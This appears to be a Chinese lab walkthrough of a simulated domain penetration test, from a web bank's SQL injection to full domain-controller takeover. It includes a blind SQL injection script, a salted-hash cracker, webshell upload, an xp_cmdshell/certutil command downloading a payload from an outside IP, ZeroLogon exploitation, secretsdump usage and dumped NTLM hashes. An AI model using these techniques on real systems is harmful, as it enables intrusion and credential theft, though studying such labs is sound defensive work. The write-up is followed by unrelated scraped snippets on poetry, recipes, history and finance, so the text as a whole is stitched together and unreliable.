域渗透之外网打点到三层内网
环境搭建1.项目介绍:
本次项目模拟渗透测试人员在授权的情况下,对目标进行渗透测试,从外网打点到内网横向渗透,最终获取整个内网权限。本次项目属于三层代理内网穿透,会学习到各种内网穿透技术,cobalt strike在内网中各种横行方法,也会学习到在工具利用失败的情况下,手写exp获取边界突破点进入内网,详细介绍外网各种打点方法,学习到行业流行的内网渗透测试办法,对个人提升很有帮助。 2.VPS映射
1.将ip映射到公网。在公网vps使用配置frp工具的frps.ini 运行frps.exe -c frps.ini
在web1上配置frpc.ini 运行 frpc.exe -c frp.ini
成功访问到环境
http://x.x.x.x:8088/login.jsp
信息收集1.端口探测
使用nmap进行端口探测,发现4444、5003、8088、8899、8878端口开放。
然后查看其详细信息。
2.网站源代码查找
发现有一个网上银行系统。使用弱口令和暴力破解,没有爆破出弱口令用户。
然后就在github试试运气,发现了源码。
源码地址:https://github.com/amateur-RD/netBank-System
发现了一个数据库文件,有一些普通用户和管理员用户的账户和密码。
3.SQL注入
然后进行登录测试,发现存在sql注入漏洞
网上银行系统Hsql注入漏洞
使用sqlmap不能进行跑出用户名和密码。
4.编写脚本进行sql注入coding:utf-8import requests password="" url="[http://x.x.x.x:8878/admin/login"](http://103.121.93.206:8878/admin/login") payload="0123456789abcdefghijklmnopqrstuvwxyz" password="" for i in range(1,20): for j in payload: exp = "admin" and(select substring(password,%s,1) from Admin) like "%s" or "1"="" %(i,j) print("正在注入") data = {"admin.username": exp, "admin.password": "aaaa", "type": 1} req = requests.post(url=url, data=data); if "密码不正确" in req.text: password+=j break print(password)
成功跑出密码。然后进行登录。
登录之后,寻找文件上传或者可以获取到webshell的地方,发现没有可利用点。
5.tomexam SQL注入漏洞
在另一个地址处,发现可以注册用户。然后注册用户进行登录。
登录之后发现,某处存在sql注入。
使用sqlmap进行获取用户信息。
| 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 |
| 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14
成功抓到了管理员用户和密码,然后使用md5进行解密。
成功进行登录。登录之后没有找到可getshell的地方。
6.Jspxcms-SQL注入
首页发现可以注册用户和进行登录。首先搜索历史漏洞,看看有没有getshell的地方。
发现先知的大佬做过找个版本的代码审计。参考链接:https://xz.aliyun.com/t/10891?page=1#toc-7。发现可以通过文件上传进行gethshell。
在之前的tomexam的数据库中,发现存在jspxcms,试试查找一下管理员的用户和信息。
使用sqlmap进行查找表、用户和吗密码。
成功发现了用户名和加密的密码。密码推断是明文密码+salt然后再进行md5加密。
7.编写解密脚本
通过其源码,分析其加密方式,然后编写解密脚本。 package com.jspxcms.core; import com.jspxcms.common.security.SHA1CredentialsDigest; import com.jspxcms.common.util.Encodes; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.io.PrintWriter; import java.util.Scanner; public class Testmain { public static void main(String[] args)throws Exception { byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9"); SHA1CredentialsDigest test = new SHA1CredentialsDigest(); String fileName = "D:csdnpass.txt"; String fileName2 = "D:hashpassword2.txt"; try (Scanner sc = new Scanner(new FileReader(fileName))) { while (sc.hasNextLine()) { String line = sc.nextLine(); String encPass = test.digest(line, salt); File f = new File(fileName2); FileWriter fw = new FileWriter(f, true); PrintWriter pw = new PrintWriter(fw); pw.println(line + " " + encPass); pw.close(); } } } }
8.登录jspxcms后台getshell
使用管理员用户和解密出来的密码,成功进入管理员后台。
使用哥斯拉生成一个木马,然后使用jar,打包成为war包。
9.编写目录穿越脚本
根据先知社区的大佬提出的方法,编写目录穿越脚本。
成功进行上传。
10.获取webshell
使用哥斯拉连接webshell,成功执行命令。
内网渗透:1.frp反向代理上线CS
首先配置内网cobalt strike内网上线
在kali启动cs服务端,
查看其端口
配置frp的frps.ini信息。
2.CS上线
cs生成监听。
然后上传.exe文件进行上线。
成功上线。
3.内网信息收集
使用shell iponfig 收集信息。
根据搭建的拓扑环境,然后测试一下与其他域内主机的连通性。
查看计算机名。
使用net view 查找域内其它主机,发现不能找到其他主机。
4.开启代理进行端口扫描
查看server2012的IP地址。
5.域内主机端口扫描
发现存在1433——Mysql的端口,尝试进行弱口令的暴力破解。
最好成功爆破出账号和密码.
6.mssqlclient 登录Mssql服务器
使用mysql用户和密码进行登录。
7.xp_cmshell进行getshell
help查看可以执行那些命令。
开启xp_cmdshell,然后进行信息收集。
使用certutil远程下载之前的木马,然后进行上线
xp_cmdshell certutil -urlcache -split -f http://39.103.134.134/artifact.exe
c:/windows/temp/artifact.exe
8.使用SweetPotato (ms16-075)提权
上线之后,进行简单的信息收集。
然后使用第三方插件,利用SweetPotato (ms16-075)提权对其进行提权。
成功提权。
内网域渗透1.内网域信息收集
使用net view查看域内主机。
使用hashdump进行抓取一些用户的hash值。
查看主机ip地址。
查看域控的Ip地址,和域控的计算机名。
2.ZeroLogon CVE-2020-1472 获取域控权限
编译zerolgin的脚本成为exe,然后进行测试,发现主机存在该漏洞。
将它设置为空密码。31d6cfe0d16ae931b73c59d7e0c089c0
3.配置代理,登录域控
配置kali的代理地址,然后进行端口扫描,测试代理是否连接。
获取域控的hash值。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81220c729f6ccb63d782a77007550f74:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b20eb34f01eaa5ac8b6f80986c765d6d:::
sec123.cnkcnk:1108:aad3b435b51404eeaad3b435b51404ee:83717c6c405937406f8e0a02a7215b16:::
AD01$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SERVER2012$:1109:aad3b435b51404eeaad3b435b51404ee:cc759f89477f1595c993831ce5944e95:::
然后进行登录域控。
4.PTH上线CS
关闭防火墙,利用pth进行上线cs。
成功执行命令。
生成tcp监听,然后jump到域控主机。
5.恢复密码、原hash。
恢复密码。
使用 secretsdump.py获取其hash值。
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCA
使用:proxychains4 python3 reinstall_original_pw.py ad01 10.10.10.139
fb61e3c372e666adccb7a820aa39772f恢复域控密码。成功恢复其密码。
靶机到这里就结束了。
最后,成功拿下整个域控。
总结:
该项目从环境搭建,使用vps将web1主机映射到公网上。通过信息收集,搜索源码,然后分析源码,进行sql注入。编写sql注入脚本进行注入,通过分析登录端的源码编写加密脚本,在编写目录穿越脚本成功获取webshell。在内网渗透中,使用frp反向代理上线cs,使用xp_cmdshell进行getshell。在域渗透中使用CVE-2020-1472获取域控权限。这台靶机中没装杀软,但是从外网打点到内网渗透,再到域渗透中的知识面是非常广的。
申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关 本文原创作者: vghost
有哪些惊艳了你很久的绝美文案和原创小诗?一诗一文每一天的原创诗歌和梦想,不要再和我擦肩而过我无限的热爱着新的一日,今天的太阳,今天的马,今天的花楸树。海子致秋天的花楸树一盏温暖的灯文泉界小生我是一盏灯午夜你坐在我的身旁你
男女情人之间,变得不再亲密,从来都不是因为不爱对方了在头条看见彼此01写在开始所谓的爱得纯粹木心曾说过一句话看清世间荒谬,是一个智者的基本水准,看清了,不是感到恶心,而是会心一笑。因为无知的人,总是薄情的。可惜,生活中,真正能够做到
在单位,你怕和同事有了矛盾纷争吗?在单位里,有很多好人,生就一副好的脾气,走到哪里都受到人们的喜欢,这只是一种理想状态。在单位里,我们都想着有好人缘,不免有时候会朝着老好人的方向发展,特别是本身没有很强的家庭背景和
梦想战士农民的孩子不需要梦想,但我依然实现了梦想农民的孩子不需要梦想,尤其是你这样的年轻人,不好好找个活干,写那么多小说能有啥用,不务正业,你这一辈子算完了。此话出于2013年以金钱至上的某位长辈口中,那时这番话确实让我伤心一阵
正在被践踏的社会底线这个社会一旦权力滥用一旦法律失公一旦国家公信力受到质疑一旦全民只知道追名逐利那么,我们的思想将会进入混乱状态,精神信仰将会崩塌,人的三观开始扭曲,各行各业将无章可循,社会底线将被无
没有烦心事,便是人间好时节!Hi,这里是知知日记。若无闲事挂心头,便是人间好时节。颂平常心是道人当然会有烦心事,又不是六根清净,无欲无求,记得电影对不起青春中有句话说人生没有重来,贪婪有何不可?但人的欲望是无
秋冬要多吃苦瓜,加一个洋葱,不炒不炖不凉拌,出锅真香秋冬要多吃苦瓜,加一个洋葱,不炒不炖不凉拌,出锅真香。苦瓜很多小伙伴都不爱吃,因为它真的是很苦,让人无法下咽,但是苦瓜营养价值却很高,能清热解毒,养颜嫩肤,养血滋肝等等。其实苦瓜做
新年家宴,硬菜少不了,推荐10道大菜,提前学会了,年夜饭不用愁大家好,欢迎大家来到我的美食自媒体,我是美食领域创作者锦绣V山东专注美食,让生活更有味。今天为大家带来了几道家常美食的做法,这几道美食也是深受大家的喜欢,而且是很常见的几道美食。天
教你营养解馋的干锅鱿鱼土豆,美味下饭超过瘾,刚上桌就被抢光光头条创作挑战赛欢迎大家,我是中原辣哥,喜欢美食的朋友,可以关注一下我们哦。作为一个传统的小吃货,从小就对食物有着很深的执念。很多时候,面对美食我都是没有抵抗能力的,在我的心中,人的
酸辣脆三丁食材准备鸡蛋1个,猪肉莲藕彩椒香芹洋葱葱干辣椒姜蒜盐白糖淀粉酱油白醋料酒油。制作方法1猪肉洗净切成丁块状。彩椒,香芹,莲藕,洋葱也切成丁状。葱姜蒜切成末备用。2猪肉丁加入少许盐和料
2023年1月4日今日飞天茅台酒最新行情价!茅台酒是中国大曲酱香型酒的鼻祖,它具有色清透明酱香突出醇香馥郁幽雅细腻入口柔绵清冽甘爽酒体醇厚丰满回味悠长空杯留香持久的特点,人们把茅台酒独有的香味称为茅香,是中国酱香型风格的典型
皇帝出上联灯明月明,大明一统,无人敢对,一神童对出下联01hr皇帝出上联在永乐二十年的正月十五,北京城隆重举行了一场规模宏大的灯会。元宵节这天,华灯初上,北京城到处张灯结彩,亮如白昼。人们挽妻携子走向街头,共庆佳节。朱棣也微服出宫,带
别说是万历皇帝了,换我,我也不上朝历史开讲(明神宗朱翊钧形象)万历皇帝不爱上朝,这是众所周知的。作为明王朝历史上在位时间最长的皇帝(48年),这位仁兄有整整二十八年都属于旷工状态。这二十八年,皇帝不上朝,皇帝也不接
科学家们已经发现了为什么有些粪便会下沉,而另一些则不会在对gnotobiotic小鼠的实验中,这些小鼠从出生起就处于无菌状态,并且在一生中从未遇到过微生物,研究人员注意到,这种不育动物的粪便样本都没有游泳,而是立即下沉。这给了他们一个
小孩比大人更迷恋西方快餐?西方人一年至少消耗500亿个汉堡包?当你工作了一天,终于可以放松享用美食的时候,你会选择什么?当你准备进入一家西方快餐店大快朵颐时,会不会突然停下脚步考虑一下?两块面包夹肉饼,一个代表着西方快餐文化的食品。自诞生以来
洋葱炒羊肉的家常做法,滑嫩入味,香辣可口,营养又下饭大家好!我是大叔爱生活美食,每天分享几道好吃的家常菜,希望大家能喜欢,喜欢吃羊肉的有口福了,今天咱们分享一道洋葱炒羊肉的好吃做法吧,方法也是很简单,喜欢做家常菜的家人们,可以跟我一
以色列朝圣之旅犹太人尊严的最后堡垒马萨达大约一千九百多年以前,在紧邻死海的一个山丘上,发生了人类有史以来最为惨烈的战斗。当时罗马人在攻陷耶路撒冷城之后,包围了这个后来被称为马萨达的山丘,山上驻守了最后一批967位宁死不屈
瑞银中国12月iPhone出货量较前月暴增88瑞银(UBS)分析师出具报告指出,去年12月,苹果在中国的iPhone出货量较前一个月飙升88,对iPhone的需求,将成为引领中国智能手机市场复苏的一大动能。瑞银认为中国智能手机
谷歌量子计算机首次模拟全息虫洞,为解开宇宙之谜贡献力量头条创作挑战赛2022年12月1日,自然杂志的封面文章宣布,美国研究人员首次使用量子计算机模拟了全息虫洞,这是一个时空隧道,两端都有黑洞。这一研究由加州理工学院的MariaSpir
基金今年以来唯一亏损的基金今年以来基金收益53189元,收益率5。15,跑赢了同期沪深300的4。21,春节以后是亏损的,现在看来,春节前减仓是对的,虽然我当时并没有减仓。持有的十三支基金中,今年以来12只
高端制造业转型高端制造业是工业化发展的高级阶段,是具有高技术含量和高附加值的产业,从中国制造到中国创造。是否还记得8亿件衬衫换1架飞机。得多少个辛勤的劳动者日日夜夜不停的工作。正是由于我国高端制
强信心开新局今年我们又实现了订单开门红!新春伊始,河南省长垣市巨人起重机集团有限公司(以下简称巨人集团)园区内,公司负责人韩钊蓬正在忙碌地指挥工人进行货物装车。车声轰鸣中,满载着企业自主研发无